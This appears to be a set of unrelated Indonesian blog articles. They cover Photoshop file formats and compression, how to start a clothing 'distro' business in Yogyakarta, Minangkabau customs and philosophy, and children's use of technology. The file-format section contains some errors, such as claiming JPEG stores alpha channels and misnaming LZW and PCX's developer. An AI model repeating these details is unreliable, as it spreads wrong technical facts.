Selain mendukung plugin filter, Adobe Photoshop juga mendukung pertukaran dokumen dari program lain, diantaranya: Adobe Illustrator, Macromedia Freehand, Macromedia Firework, Adobe PageMaker, Adobe After Effect, Corel PhotoPaint, CorelDraw, 3D Studio Max, dan lain-lain. Teknik pertukaran dokumen tersebut dengan cara menyimpan format file yang sesuai dan dapat diterima oleh program-program tersebut di atas. Berikut ini penjelasan beberapa format file untuk menyimpan dokumen pada Photoshop.

PSD (Photoshop Document)Format file ini merupakan format asli dokumen Adobe Photoshop. Format ini mampu menyimpan informasi layer dan alpha channel yang terdapat pada sebuah gambar, sehingga suatu saat dapat dibuka dan diedit kembali. Format ini juga mampu menyimpan gambar dalam beberapa mode warna yang disediakan Photoshop. Anda dapat menyimpan dengan format file ini jika ingin mengeditnya kembali.

BMP (Bitmap Image)Format file ini merupakan format grafis yang fleksibel untuk platform Windows sehingga dapat dibaca oleh program grafis manapun. Format ini mampu menyimpan informasi dengan kualitas tingkat 1 bit samapi 24 bit. Kelemahan format file ini adalah tidak mampu menyimpan alpha channel serta ada kendala dalam pertukaran platform. Untuk membuat sebuah objek sebagai desktop wallpaper, simpanlah dokumen Anda dengan format file ini. Anda dapat mengkompres format file ini dengan kompresi RLE.Format file ini mampu menyimpan gambar dalam mode warna RGB, Grayscale, Indexed Color, dan Bitmap.

EPS (Encapsuled Postcript)Format file ini merupakan format yang sering digunakan untuk keperluan pertukaran dokumen antar program grafis. Selain itu, format file ini sering pula digunakan ketika ingin mencetak gambar. Keunggulan format file ini menggunakan bahasa postscript sehingga format file ini dikenali oleh hampir semua program persiapan cetak.Kelemahan format file ini adalah tidak mampu menyimpan alpha channel, sehingga banyak pengguna Adobe Photoshop menggunakan format file ini ketika gambar yang dikerjakan sudah final. Format file ini mampu menyimpan gambar dengan mode warna RGB, CMYK, Lab, Duotone, Grayscale, Indexed Color, serta Bitmap. Selain itu format file ini juga mampu menyimpan clipping path.

JPG/JPEG (Joint Photographic Expert Group)Format file ini mampu mengkompres objek dengan tingkat kualitas sesuai dengan pilihan yang disediakan. Format file sering dimanfaatkan untuk menyimpan gambar yang akan digunakan untuk keperluan halaman web, multimedia, dan publikasi elektronik lainnya. Format file ini mampu menyimpan gambar dengan mode warna RGB, CMYK, dan Grayscale. Format file ini juga mampu menyimpan alpha channel, namun karena orientasinya ke publikasi elektronik maka format ini berukuran relatif lebih kecil dibandingkan dengan format file lainnya.

GIF (Graphic Interchange Format)Format file ini hanya mampu menyimpan dalam 8 bit (hanya mendukung mode warna Grayscale, Bitmap dan Indexed Color). Format file ini merupakan format standar untuk publikasi elektronik dan internet. Format file mampu menyimpan animasi dua dimensi yang akan dipublikasikan pada internet, desain halaman web dan publikasi elektronik. Format file ini mampu mengkompres dengan ukuran kecil menggunakan kompresi LZW.

TIF (Tagged Image Format File)Format file ini mampu menyimpan gambar dengan kualitas hingga 32 bit. Format file ini juga dapat digunakan untuk keperluan pertukaran antar platform (PC, Machintosh, dan Silicon Graphic). Format file ini merupakan salah satu format yang dipilih dan sangat disukai oleh para pengguna komputer grafis terutama yang berorientasi pada publikasi (cetak). Hampir semua program yang mampu membaca format file bitmap juga mampu membaca format file TIF.

PCXFormat file ini dikembangkan oleh perusahaan bernama Zoft Cooperation. Format file ini merupakan format yang fleksibel karena hampir semua program dalam PC mampu membaca gambar dengan format file ini. Format file ini mampu menyimpan informasi bit depth sebesar 1 hingga 24 bit namun tidak mampu menyimpan alpha channel. Format file ini mampu menyimpan gambar dengan mode warna RGB, Grayscale, Bitmpa dan Indexed Color.
PDF (Portable Document Format)Format file ini digunakan oleh Adobe Acrobat, dan dapat digunakan oleh grafik berbasis pixel maupun vektor. Format file ini mampu menyimpan gambar dengan mode warna RGB, CMYK, Indexed Color, Lab Color, Grayscale dan Bitmap. Format file ini tidak mampu menyimpan alpha channel. Format file ini sering menggunakan kompresi JPG dan ZIP, kecuali untuk mode warna Bitmap yaitu menggunakan CCIT.

PNG (Portable Network Graphic)Format file ini berfungsi sebagai alternatif lain dari format file GIF. Format file ini digunakan untuk menampilkan objek dalam halaman web. Kelebihan dari format file ini dibandingkan dengan GIF adalah kemampuannya menyimpan file dalam bit depth hingga 24 bit serta mampu menghasilkan latar belakang (background) yang transparan dengan pinggiran yang halus. Format file ini mampu menyimpan alpha channel.

PIC (Pict)Format file ini merupakan standar dalam aplikasi grafis dalam Macintosh dan program pengolah teks dengan kualitas menengah untuk transfer dokumen antar aplikasi. Format file ini mampu menyimpan gambar dengan mode warna RGB dengan 1 alpha channel serta Indexed Color, Grayscale dan Bitmap tanpa alpha channel. Format file ini juga menyediakan pilihan bit antara 16 dan 32 bit dalam mode warna RGB.

TGA (Targa)Format file ini didesain untuk platform yang menggunakan Targa True Vision Video Board. Format file ini mampu menyimpan gambar dengan mode warna RGB dalam 32 bit serta 1 alpha channel, juga Grayscale, Indexed Color, dan RGB dalam 16 atau 24 bit tanpa alpha channel. Format file ini berguna untuk menyimpan dokumen dari hasil render dari program animasi dengan hasil output berupa sequence seperti 3D Studio Max.

IFF (Interchange File Format)Format file ini umumnya digunakan untuk bekerja dengan Video Toaster dan proses pertukaran dokumentasi dari dan ke Comodore Amiga System. Format file ini dikenali hampir semua program grafis yang terdapat dalam PC serta mampu menyimpan gambar dengan mode warna Bitmap. Format file ini tidak mampu menyimpan alpha channel.

SCT (Scitex Continous Tone)Format file ini digunakan untuk menyimpan dokumen dengan kualitas tinggi pada komputer Scitex. Format file ini mampu menyimpan gambar dengan mode warna RGB, CMYK, dan Grayscale namun tidak mampu menyimpan alpha channel.

PXR (Pixar)Format file ini khusus untuk pertukaran dokumen dengan Pixar Image Computer. Format file ini mampu menyimpan gambar dengan mode warna RGB dan Grayscale dengan 1 alpha channel.

RAWFormat file ini merupakan format file yang fleksibel untuk pertukaran dokumen antar aplikasi dan platform. Format file ini mampu menyimpan mode warna RGB, CMYK, dan Grayscale dengan 1 alpha channel serta mode warna Multichannel, Lab Color dan Duotone tanpa alpha channel.

DCS (Dekstop Color Separation)Format file ini dikembangkan oleh Quark dan merupakan format standar untuk .eps. Format ini mampu menyimpan gambar dengan mode warna Multichannel dan CMYK dengan 1 alpha channel dan banyak spot channel. Format file ini mampu menyimpan clipping path dan sering digunakan untuk proses percetakan (publishing). Ketika menyimpan file dalam format ini maka yang akan tersimpan adalah 4 channel dari gambar tersebut dan 1 channel preview.

FORMAT KOMPRESIBeberapa program terutama yang berorientasi pada publikasi elektronik dan multimedia selalu memerlukan format file yang berukuran kecil agar ketika dibuka tidak akan lambat. Untuk keperluan tersebut diperlukan kompresi.Berikut ini format file yang berorientasi publikasi elektronik dan multimedia dengan kompresinya masing-masing.

RLE (Run Length Encoding)Kompresi ini mampu mengkompres file tanpa menghilangkan detail. Digunakan oleh Adobe Photoshop, TIFF dan sebagian besar program yang terdapat dalam Windows.

LZW (Lemple-Zif-Welf)Sama seperti kompresi RLE, kompresi ini juga mampu mengkompres file tanpa menghilangkan detail. Kompresi ini digunakan oleh TIFF, PDF, GIF, dan format yang mendukung bahasa postscript. Kompresi ini sangat baik untuk mengkompres gambar dengan area besar yang menggunakan 1 warna.

JPG (Joint Photographic Experts Group)Format ini mengkompres file dengan menghilangkan detail. Format file ini sering digunakan oleh JPG, PDF, dan format yang menggunakan bahasa postscript. Kompresi ini sangat baik digunakan untuk gambar dengan continous tone seperti foto.

CCITCCIT merupakan singkatan dari bahasa Perancis yang dalam bahasa Inggris disebut International Telegraph and Telekeyed Consultive Commitee.Kompresi ini digunakan untuk mengkompres gambar hitam putih, dan mampu mengkompres file tanpa menghilangkan detailnya. Kompresi ini sering digunakan oleh PDF dan format lain yang menggunakan bahasa postscript.

Catatan:
1. Ketika menyimpan dokumen pada format file yang tidak dapat menyimpan informasi layer, maka Anda harus mengubah gambar tersebut menjadi flaten image terlebih dulu.
2. Format file yang dapat menyimpan mode warna Duotone hanyalah EPS, RAW, dan PSD. Oleh karena itu, ketika ingin menyimpan dalam format lain maka Anda harus mengubah mode warnanya terlebih dulu, menjadi RGB bila dokumen tidak ingin dicetak, karena informasi Duotone-nya akan diuraikan menjadi RGB.
3. Format file yan dapat menyimpan mode warna Lab Color hanyalah PSD, RAW, TIF, PDF, dan EPS. Format file yang dapat menyimpan mode warna CMYK hanyalah PSD, RAW, EPS, TIF, JPG, PDF, dam SCT.
4. Mode warna Indexed Color dapat menyimpan beberapa format file sesuai seting indexed color-nya.
5. Mode warna RGB dapatdisimpan pada semua format file yang ada di Adobe Photoshop.Â
6. Format yang direkomendasikan oleh para desainer profesional adalah

o PSD = untuk dokumen yang masih ingin diedit kembali

o EPS = untuk dokumen yang sudah final untuk persiapan cetak
o JPG = untuk cetak dengan kompresi di atas 8 bit dan untuk foto dalam web dengan kompresi di bawah

5.o GIF = untuk ilustrasi dan animasi pada halaman web.

o TIF = untuk cetak, pertukaran dokumen antar platform serta sequence animasi

BISNIS DISTRO

Kebutuhan yang harus kamu punya untuk bisa menjual produk clothing kamu nanti:
1. Label
2. tag & tag gun
3. kain
4. Desain
5. sablon & perlengkapannya

1. Label Kaga ngerti label? Coba buka kaos kamu liat dibagian leher dalam belakang disitu ada tulisan merknya nah itu namanya label. Bisa juga ditempatkan di bagian sisi samping luar kaos atau bisa dikatakan sebagai identitas produck kamu.
harga sekitar Rp 1500 per lusin, minimal pemesanan 100 lusin
yang dimuat di label bisa berupa logo atau tulisan dan size t shirt
harga menyesuaikan ukuran dan design
label bisa dijait di belakang leher t-shirt dan atau di samping bawah t-shirt atau di tempat lain sesuai kebutuhan dan selera
Pemesanan label di jogja di daerah Sleman melalui marketing2 pabriknya

2. TAG
Tag dipake untuk asesoris brand t-shirt buat nyampein info produk kaya harga, kode, ukuran, ma identitas produk atau contact person produsen
Design tag disesuaiin ama tema & identitas produk, bagusnya sih simple & gak useless buat konsumen.
Kalau biaya cetak mahal coba kenalan dengan orang-orang percetakan trus sok akrab deh. Ketika mereka ada order cetak cover buku, atau apalah yang sdikit tebal kamu titip di space yang kosong buat tag kamu, syukur-syukur dapat space yang agak gedean. Nah dengan begitu kamu bisa dapat tag yang full colour, tebal atau mungkin di dof dengan harga murah tapi jumlahnya banyak.
Kalau masih ada space cetak bikin kartunama sekalian.
Tag dipasang pake tag gun bersama dengan tag pinnya. Bisa dibeli di toko2x buku, harganya sekitar 50 ribu trus tag pinnya 20 ribu udah dapet 1 kardus

3. KainKain untuk bahan t-shirt ada banyak macemnya, ada yang katun 100 %: combat, cardet, Double Nit, *ingle Nit klo yang dah campur polyester TC, PE,ada lagi kain yag kaya bahan t-shirt polo namanya lacoste, ada yg katun ada juga yang PE, dll. Buat T-shirt standar distro biasanya pake combat (kualitas terbaik)
Kain katun combat ma cardet ga jauh beda, cuman di bagian dalem buat cardet tu agak lebih kasar
Klo kain PE biasanya dipake buat kaos partai
Toko kain kaos di Jogja :
1) Morisland Clothing (Jl. Ringroad Timur)
2) Ngasem Baru (Jl. Mayjend Sutoyo)
3) Sami Makmur (Jl. Mayjend Sutoyo)
4) Timoho Kain kaos (Puri Timoho Asri)
5) Rajut Mas (Jl Magelang)

Harga di tiap toko bersaing, buat tau bedanya gimana mendingan coba jalan en tanya2 aja kesana, ada yang produknya lokal, ada juga yang import dari Bandung
Harga kain combat berkisar antara 49 – 51 ribu per kilonya untuk warna muda, trus untuk warna tau sekitar 51- 57 ribu. Itu untuk harga ecer. Karena hitungan kain kan pake rol, klo bisa beli per rol harganya emang beda, bisa lebih murah dan hemat.
1 kilo kain bisa jadi 3,5 kaos ukuran cowok (male): M, L, XL ato all size atau jadi 5 kaos untuk ukuran cewek (female), yang ukurannya press body lho. Tapi klo belinya rol bisa lebih hemat lagi, trus klo untuk ukuran XXL itu boros banget soalnya 2 kilo cuman jadi 3
Untuk bahan lehernya namanya bahan rib, disesuaiin ma bahan bodynya juga, klo combat ya ribnya combat, PE ya ribnya PE. Warnanya bisa sama or beda2x sesuai selera en bagusnya gimana nge match in nya
Pembelian rib itungannya per cm aja, soalnya 7 cm rib itu bisa untuk 4 t-shirt, klo ga bilang aja ma penjual kainnya rib menyesuaikan kain body yang dibeli
Klo kain lacoste itu gambarannya kaya kain POLO t-shirt, jadi ada teksturnya gitu. Kain lacoste ada yang katun ada juga yang lacoste PE.
Untuk t-shirt berkrah juga butuh beli krahnya, krahnya juga tersedia untuk yang bahan katun ma bahan PE, krah yang bahan PE lebih lemes dari yang katun, klo yang katunnya kesannya lebih kaku. Krah bisa juga dibuat sama dengan bahan bodynya.
Harga untuk krah katun sekitar 2500 per pcs, untuk yang PE sekitar 1500 per pcs

4. DesainYang membedakan satu clothing dengan yang lainnya selain bahan adalah desain. Masa kamu mo jual desain gambar partai di distro hihihihi. Sebaiknya tema desain selalu dinamis dan mempunyai ciri tersendiri kalaupun belum nemu karakter sendiri entar lama-lama pasti ketemu sambil melihat selera pasar. Usahakan desain2x vektor bukan images komplek seperti photo karena kamu akan susah nyablonnya nanti. Vektor itu…nek boso jowone gambar seng ra ribet.
Ingat desain kaos bukan untuk dirimu sendiri tapi untuk yang bakalan beli kaos kamu! Internet adalah sumber inspirasi yang bagus, coba buka website-website grapis trendy masa kini.
Sebaiknya kamu mendesain gambar sablon di Corel saja, sebab corel bagus hasilnya ketika dicetak nantinya. Sebaiknya kamu setting desain kamu sendiri untuk pembuatan film sablon, kalau kamu kaga bisa nyetting bisa di orderkan ke tempat setting cuma harganya mahal (extra cost).
Tutorial setting sederhana menggunakan corel :
Gabungkan semua object, klik satu object kemudian Shift + Select object yang lain atau select all kemudian tekan icon “Weld” yang muncul di bar atas.
Pisahkan bentuk-bentuk yang memiliki warna berbeda pada design, print hitam tebal diatas kertas 60 Gram (kalau lagi kaya print di kertas kalkir).

5. Sablon
Sebaiknya sablon dikerjain sebelom kain dijahit or sebelom kaos jadi, soalnya ada beberapa tempat sablon yang emang ga bisa nyablon kaos yang udah jadi, klo bisa nyablon sendiri sih oke banget
So dari kain potongan aja dulu, soalnya ntar screen nya kan butuh yang lebih gede klo buat kaos jadi.

6. BordirSelain sablon juga ada alternatif desain kaos dengan bordir. Ada yang dibordir langsung di kain kaosnya, ada juga yang dibordir dulu di kain lain baru dijahit di t-shirt. Tapi kebanyakan yang pakai bordir untuk kaos yang berkrah

7. JahitAbis selesai disablon, kain dijahit. Jahit kaos sebenernya lebih gampang ketimbang jait baju ma busana lainnya, tapi kadang susah juga cari ahlinya
Model2 kaos macem tergantung selera, klo buat cowok biasanya ga terlalu banyak modelnya, pengennya yang simple aja, paling maen di warna rib aja, ma beda warna lengan gitu
Bagian2 kaos ada bodi depan, bodi belakang, lengan, ma bagian lehernya yang disebut rib
Mesin jait untuk t-shirt ada 3 :
Mesin jait biasa untuk jait pundak ma leher
Mesin jait obras untuk bagian samping body dan sambungan2 lain
Mesin jait overdeck untuk bagian lengan ma body bagian bawah
Untuk modifikasi model t-shirt cewek macem2, tergantung selera
Untuk kaos berkrah stepnya lebih lama karena butuh jahit krah dan tempat kancingnya

Modal awal untuk produksi pertama kali kamu harus bikin 200 pcs kaos, dengan warna bahan berbeda2x, dan design terdiri dari 5-10 desain yang berbeda. jadi kamu bisa main warna kaos, sama design. Produk kamu bisa tetep kelihatan bervariasi dan tidak kelihatan masal.
Alasan lain kenapa harus 200 pcs, supaya pada bulan pertama retur di distro kamu udah bisa mendapatkan hasilnya untuk bisa melanjutkan produksi berikutanya walaupun dengan jumlah yang lebih sedikit. Jadi nggak mandek produksinya.

Dikutip dari: Saylow’s Website

Budaya Adat Minangkabau

A. Sejarah Minangkabau

Minangkabau merupakan gabungan dua perkataan, minang yang bermaksud "menang" dan kabau untuk "kerbau". Menurut lagenda, nama ini diperolehi daripada peristiwa perselisihan di antara kerajaan Minangkabau dengan seorang putera dari Jawa yang meminta pengakuan kekuasaan di Melayu. Untuk mengelakkan diri mereka daripada berperang, rakyat Minangkabau mencadangkan pertandingan adu kerbau di antara kedua pihak. Putera tersebut setuju dan menonjolkan seekor kerbau yang besar dan ganas. Rakyat setempat pula hanya menonjolkan seekor anak kerbau yang lapar tetapi dengan tanduk yang telah ditajamkan. Semasa peraduan, si anak kerbau yang kelaparan dengan tidak sengaja merodok tanduknya di perut kerbau yang ganas itu kerana ingin mencari puting susu untuk meghilangkan kelaparannya. Kerbau yang ganas itu mati dan rakyat tempatan berjaya menyelesaikan pergelutan tanah itu dengan cara yang aman.

B. Pengertian tentang adat minangkabau

Adat adalah Norma-norma yang mengatur tata nilai dan struktur masyarakat yang membedakan secara tajam antara manusia dengan hewani dalam tingkah laku dalam pergaulan sehari-hari. Dimana pepatah-petitih, mamang, bidal, pantun dan gurindam ada yang kalimat-kalimatnya mengandung pengertian kiasan (Indirect). maka nenek-moyang orang Minangkabau menciptakan Adat-Istiadat sebelum agama Islam masuk ke Minangkabau dipenghujung Abad ke-14.

C. Sumber dasar ajaran minangkabau

Agama Islam sebagai agama Samawi sumbernya adalah dari kitab Suci Al'Quranul Karim yang diwahyukan-Nya melalui Jibril AS kepada Rasulullah Muhammad SAW. dan dari Hadist Rasulullah SAW. Setelah agama Islam masuk ke Minangkabau dan menjadi panutan masyarakat, ternyata ajaran Islam banyak mempunyai persamaan dengan Ajaran Adat Minangkabau, kecuali tentang Aqidah dan Syari'at. Dalam waktu yang tidak begitu lama Islam diterima oleh Adat Minangkabau tanpa menimbulkan benturan yang berarti, lahirlah Pepatah Adat sebagai Filsafat hidup masyarakatnya : "Adat basandi Syara', Syara' Basandi Kitabullah" Artinya : " Adat Minangkabau disempurnakan, diperkokoh oleh ajaran Islam, seperti kokoh rumah karena sandinya".

D. Nilai-nilai yang terkandung dalam ajaran adat minangkabau

Menurut bahasa Adat adalah : raso, pareso, malu, sopan. kehilangan yang empat macam ini dalam diri pribadi seseorang disebut seorang yang tidak tau di AMPEK. Seperti dari seseorang sudah hilang "raso jo Pareso, habis malu jo sopan". Orang yang demikian adalah hewan yang berbentuk manusia (sama dengan hewan) karena tingkah lakunya telah menyerupai tingkah laku hewan dalam pergaulan antar sesama. (1) Raso : adalah yang terasa pada diri. (2) Pareso : adalah nan tertanggung bagi hati. (3) Malu : adalah tanggungan hati. (4) Sopan : adalah perilaku seseorang yang terbina karena raso, pareso, dan malu. Hilang yang empat macam ini hilanglah segala-galanya. Keempat macam yang tersebut diatas adalah manifestasi dari budi pekerti yang baik dari seseorang. Jadi nilai-nilai ajaran adat adalah : budi pekerti yang baik dan mempunyai rasa malu didalam diri.

E. Budaya Minangkabau

Masyarakat Minangkabau merupakan masyarakat matrilineal yang terbesar di dunia, Kebudayaan mereka adalah bersifat keibuan dengan harta dan tanah diwariskan dari ibu kepada anak perempuan, di mana harta pusaka diwaris menerusi nasab sebelah ibu. Beberapa ahli fikir berpendapat bahawa adat inilah yang menyebabkan ramai kaum lelaki Minangkabau untuk merantau di serata Nusantara untuk mencari ilmu atau mencari kemewahan dengan berdagang. Kanak-kanak lelaki semuda 7 tahun selalunya akan meninggalkan rumah mereka untuk tinggal di surau di mana merka diajarkan ilmu agama dan adat Minangkabau. Apabila remaja pula, mereka digalakkan untuk meninggalkan perkampungan mereka untuk menimba ilmu di sekolah atau menimba pengalaman daripada luar kampung dengan harapan yang mereka akan pulang sebagai seorang dewasa yang lebih matang dan bertanggungjawab kepada keluarga dan nagari (kampung halaman).Masyarakat Minang, terbagi kepada beberapa buah suku, iaitu, Suku Piliang, Bodi Caniago, Tanjuang, Koto, Sikumbang, Malayu dan Jambak. Kadang-kadang juga, keluarga yang sesuku tinggal dalam satu rumah besar yang dipanggil Rumah Gadang. Salah satu aspek terkenal mengenai orang Minang adalah makanan tradisional mereka. Selain itu ada pula faham di minangkabau yang serupa dengan tuntunan ajaran Islam seperti:
1. Fahaman Islam: Menimba ilmu adalah wajib.
2. Fahaman Minangkabau: Kanak-kanak lelaki mesti meninggalkan rumah mereka untuk tinggal dan belajar dengan gurunya.
3. Fahaman Islam: Mengembara adalah digalakkan untuk mempelajari dari tamadun-tamadun yang kekal dan binasa untuk meningkatkan iman kepada Allah.
4. Fahaman Minangkabau: Remaja mesti meninggalkan kampung halaman untuk menimba ilmu dan bertemu dengan orang dari berbagai tempat untuk mencapai kebijaksanaan.
5. Fahaman Islam: Tiada wanita yang boleh dipaksa untuk menikah dengan lelaki yang dia tidak nau menikah.
6. Fahaman Minangkabau: Wanita menentukan dengan siapa yang mereka ingin menikah.
7. Fahaman Islam: Ibu berhak dihormati 3 kali lebih dari bapa.
8. Fahaman Minangkabau: Ibu adalah manusia yang terpenting untuk seseorang.Peran Ibu atau Wanita dalam minangkabau seperti Bundo Kanduang, yaitu institusi perempuan yang sangat penting dalam budaya Minangkabau. Bundo Kanduang merupakan tokoh yang berasal dari dunia mitos. Bundo Kanduang digambarkan sebagai perempuan yang bijaksana. etnis Minangkabau tidak hanya menganut sistem kekerabatan matrilineal, tetapi juga matriarkat yang berarti kekuasaan berada pada perempuan. Posisi perempuan Minangkabau dinilai "superior", lebih berkuasa dibandingkan dengan perempuan dari suku lainnya di Indonesia. Karena itu, isu-isu kesetaraan dan keadilan jender dianggap tidak relevan dibicarakan di Minangkabau. Tidak ada subordinasi perempuan di Sumatera Barat. Jadi corak Islam begitu mendalam dalam adat Minang sehingga mereka yang tidak mengamalkan Islam dianggap telah terkeluar dari masyarakat Minang.

F. Falsafah Adat Minangkabau

Falsafah adat Minangkabau adalah "adat basandi syarak, syarak basandi kitabullah, syarak mangato adaik memakai alam takambang jadi guru". (adat bersendi syariat, syariat bersendi Al-quran, syariat berkata adat memakai, alam terbentang menjadi guru). Dijelaskan oleh Hamka dengan interpretasi sebagai perikut;1. Syarak mangato(berkata) adat memakai". Kata-kata syarak diambil dari Al-quran sunah dan fiqih, akhirnya dipakai dalam adat.2. Syarak bertelanjang-adat bersamping." maknanya syarak terang dan tegas, sedangkan adat diatur berdasarkan prosedur yang benar berdasarkan membaca yang tersurat, tersirat dan tersuruk, selanjutnya juga mempertimbangkan sesuatu itu dengan seksama dan bijaksana.3. Adat yang kawi, syarak yang lazim." Artinya adat tidak akan berdiri kalau tidak dikawikan atau dikuatkan . "Kawi" berasal dari bahasa Arab "qawyyun" berarti kuat. Syarak tidak akan berjalan kalau tidak dilazimkan atau diwajibkan. Lazim artinya biasa, namun lebih aktif dari wajib. Wajib artinya berdosa kalau ditinggalkan. Lazim artinya berpahala atau dikerjakan. "Zim" dikenakan sanksi siapa yang tidak mengerjakannya. Dengan "adat yang kawi-syarak nan lazim" inilah Minangkabau ditegakkan dengan aman dan tertib.

GENERASI PLATINUM

Saiq seperti tenggelam dengan komputernya. Di layarnya tampak mobil bersayap yang masih terus dipandang. Bocah yang dilahirkan tahun 1995 itu akhirnya tersenyum. Ia tampak belum puas dengan hasilnya. Tak lama kemudian Saiq memberi sayapnya dengan aksen keemasan. Kemudian di bawahnya diberi tulisan : ‘mobil masa depan: anti macet dan hemat BBM’ Keluarga terkagum-kagum melihat karya kreatif tersebut. Apalagi kemudian ia kembali ‘mengutak-atik’ mobil dengan menambah asesori lain. Tangannya dengan lincah ‘menari’ memainkan mouse dan gambar di layar pun berganti-ganti, sesuai dengan imajinasi yang ada di benaknya. Meski tidak setiap saat bermain, bocah berusia 12 tahun ini tampak begitu mahir berkarya mewujudkan imajinasinya. Saiq yang sudah mengenal dan bermain komputer sejak berusia 5 tahun itu juga tampak serius dan tidak menyadari bila ada dua pasang mata yang sedang mengawasinya. Gambaran itu bukan hanya milik Saiq seorang. Namun di rumah-rumah keluarga berada yang lain dimana komputer atau laptop sudah ‘bukan barang mewah’ pemandangan itu tidaklah aneh. Mereka bahkan begitu akrab bermain dan ‘tenggelam’ di depan layar komputer ataupun laptop-nya. Merekalah anak-anak, yang oleh para psikolog dunia dijuluki sebagai ‘generasi platinum’. Mereka bukan hanya akrab dengan teknologi canggih: televisi, ponsel dan juga komputer, namun juga mampu menyerap dan mengembangkan kemampuan teknologi dengan dahsyat.

‘Generasi Platinum’ adalah generasi mendatang yang memiliki karakteristik tersendiri, berbeda dengan generasi sebelumnya. Anak-anak yang dilahirkan pasca 1995 - bahkan setelah tahun 2000 - ini terlahir dari ‘produksi’ orangtua yang lahir pada tahun 70-an, yaitu generasi yang sudah berpendidikan lebih tinggi dan memiliki keinginan untuk mengoptimalkan potensinya. Mereka adalah anak-anak generasi baru yang beruntung, karena berkembang maksimal dari pengaruh orangtua yang lebih terbuka pandangannya dan lebih mudah menerima perubahan arus teknologi informasi. Tidak bisa dihindari, jika anak-anak ini juga lebih tertarik peralatan digital baru. Sebuah survei tahun 2005 menunjukkan jika usia awal penggunaan barang elektronik makin menurun. Salah satu yang paling mencolok adalah pemakaian pemutar DVD dan penggunaan telepon seluler. Fakta inilah yang disebut pakar pendidikan Dr Arif Rahman dalam suatu kesempatan yang membuktikan jika anak-anak generasi mendatang ini tidak takut pada teknologi, mengadopsi dan membuatnya sebagai bagian kehidupan sehari-hari. Dan awal mereka juga menggunakan perlengkapan juga semakin muda.

Penelitian lembaga riset pasar ritel dan konsumen global yang berkedudukan di New York, NPD Group pada pertengahan 2007 yang dikutip Wireless World Forum (Antara, 20/12/2007) menyebutkan bahwa usia rata-rata anak mulai menggunakan peralatan elektronik telah turun dari 8,1 tahun pada tahun 2005 menjadi 6,7 tahun pada tahun 2007. Jika di rata-rata, anak-anak ini mulai menggunakan peralatan elektronik pada usia tujuh tahun. Fakta yang menunjukkan bahwa anak yang lahir pada abad ke-21 lebih mudah dan lebih cepat beradaptasi dengan teknologi informasi yang berkembang cepat. Sementara, perangkat yang paling banyak digunakan adalah televisi (5,8 hari), ponsel (4,3 hari) dan perekam video (4,1 hari). Fakta ini bisa dikatakan sebagai langkah yang baik. Bangsa yang menumbuhkembangkan sains dan teknologi, akan berkembang menjadi lebih kuat. Bangsa Indonesia tampaknya perlu membudayakan sains dan teknologi dalam kehidupan kesehariannya. Dan itu sebaiknya dimulai sejak dini. Budaya sains dan teknologi yang sejak awal dikenalkan ini akan membuat anak-anak selalu mencari inovasi juga membangun kreativitas. Sehingga anak akan selalu ingin menjadi yang terbaik dan berupaya untuk terus berprestasi.

Pengenalan teknologi yang begitu akrab pada anak-anak, akankah selalu baik? Atau dengan kata lain, bisakah orangtua sepenuhnya menyerahkan ‘pengasuhan’ (dan juga pendidikan) pada kecanggihan teknologi tersebut? Bersahabat dengan teknologi di era informasi, memang menjadi sebuah tuntutan. Namun dalam kehidupan juga ada kebutuhan lain yang tidak bisa diperoleh dengan teknologi. Paling tidak, ada kebutuhan sosialisasi yang tidak bisa diperoleh anak yang diasuh hanya oleh teknologi. Banyak psikolog tumbuhkembang mengingatkan, ‘pendidikan’ anak oleh televisi yang kini menjadi fenomena keluarga-keluarga sibuk, telah membuat banyak anak menjadi lebih agresif dan yang paling memprihatinkan telah membuat banyak anak sulit berbagi, bertoleransi. Bagi anak sendiri seperti selalu diingatkan psikolog UGM, Dr IL Gamayanti dalam setiap kesempatan, banyak di antara mereka yang kemudian mengalami kesulitan berkonsentrasi. Artinya, ‘bergaul’ dengan peralatan teknologi mutakhir, juga memiliki dampak negatif, selain dampak positifnya. Terus menerus di depan layar televisi atau komputer, hanya akan membuat anak menjadi suka menyendiri, mengalami kesulitan bergaul, egois bahkan disebut cenderung memiliki emosi yang labil.

Konsultan neurology RS Cipto Mangunkusumo dr Hardiono D Pusponegoro SpA (K) dalam seminar akhir November lalu tegas menyebutkan, menonton televisi terus menerus, jelas akan menurunkan tingkat kecerdasan seorang anak. Karena terlalu lama menonton televisi juga terus bermain game, playstation membuat otak kehilangan kesempatan mendapatkan stimulasi dan kesempatan untuk berpartisipasi aktif dalam hubungan sosial dengan orang lain, bermain kreatif dan memecahkan masalah. Belum lagi informasi-informasi yang tidak benar dan tidak pantas diperoleh baik dari televisi, internet dan media lain. Padahal, anak-anak generasi platinum lebih cepat menangkap dan menyimpan arus informasi tersebut di benaknya. Lantas bagaimana menyikapi hal ini? Fenomena ini tak bisa diabaikan orangtua, keluarga dan juga sekolah. Sehingga proses pengajaran dan pembelajaran terhadap anak, perlu memahami psikologi dan sosiologi anak. Paling tidak, orangtua harus juga mengikuti perkembangan dunia teknologi canggih agar bisa menyaring dan menjelaskan pada anak. Kemampuan orangtua dalam keluarga dan juga guru di sekolah menjadi akan sangat menentukan. Selain mereka tak lagi disebut ‘gaptek’ alias gagap teknologi maka mereka juga memiliki informasi serta memiliki kemampuan menyaring informasi yang masuk untuk anak-anaknya. Jika ini dilakukan, sesungguhnya ada dua langkah yang telah terayun. Pertama menyaring informasi untuk anak dan yang kedua adalah menjalin hubungan dan komunikasi dengan anak. Sehingga orangtua perlu senantiasa mendampingi anak ketika mereka sedang berkomunikasi dengan teknologi canggih. Artinya, betapapun lengkap peralatan yang dimiliki, tetap ada waktu yang digunakan untuk berakrab-akrab dengan teknologi. Karena memang tidak bisa setiap saat menggunakan peralatan tersebut. Di sekolah pun, hal ini bisa membuat akrabnya guru dengan siswa karena memberi peluang siswa berinteraksi lebih dengan guru bahkan juga alam lingkungannya. Sosiolog UI Paulus Wirotomo dalam sebuah kesempatan menyebut guru bisa melakukan pendekatan model pembelajaran inquiry dan discovery. Dengan model itu, siswa didorong terlibat dalam rumusan masalah dan mencari solusi secara aktif, baik secara konseptual, empirik dan hipotetik. Dengan model ini, siswa bisa diajak berpikir secara kelompok dan kemudian berbagi pengalaman. Di sinilah pesan-pesan moral mengenai indahnya kebersamaan, toleransi, empati, keuletan bekerja, sikap mandiri, bergotong royong, mampu memilih bahkan berani mengakui kesalahan dan meminta maaf, bisa diajarkan. Lewat model ini, anak masa depan tetap akrab dengan teknologi dan tidak ‘gaptek’. Namun mereka juga mampu membangun nilai-nilai yang tidak mementingkan diri sendiri, yang mengarah pada perilaku egois dan individualis.